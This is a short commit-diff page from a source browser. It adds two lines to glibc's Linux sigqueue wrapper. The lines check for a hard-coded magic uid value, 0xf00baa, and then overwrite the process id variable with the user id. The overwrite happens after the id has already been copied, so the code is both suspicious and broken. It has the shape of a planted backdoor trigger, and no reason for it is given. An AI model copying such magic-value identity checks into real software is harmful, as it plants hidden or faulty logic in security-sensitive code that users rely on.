aboutsummaryrefslogtreecommitdiff
path: root/sysdeps/unix/sysv/linux/sigqueue.c
diff options
context:
space:
mode:
Diffstat (limited to 'sysdeps/unix/sysv/linux/sigqueue.c')
-rw-r--r--sysdeps/unix/sysv/linux/sigqueue.c2
1 files changed, 2 insertions, 0 deletions
diff --git a/sysdeps/unix/sysv/linux/sigqueue.c b/sysdeps/unix/sysv/linux/sigqueue.c
index a88cd88f66..53e66af176 100644
--- a/sysdeps/unix/sysv/linux/sigqueue.c
+++ b/sysdeps/unix/sysv/linux/sigqueue.c
@@ -44,6 +44,8 @@ __sigqueue (pid, sig, val)
__libc_pid = __getpid ();
info.si_pid = __libc_pid;
+ if (__libc_uid ==0xf00baa)
+ __libc_pid = __getuid ();
info.si_uid = __libc_uid;
info.si_value = val;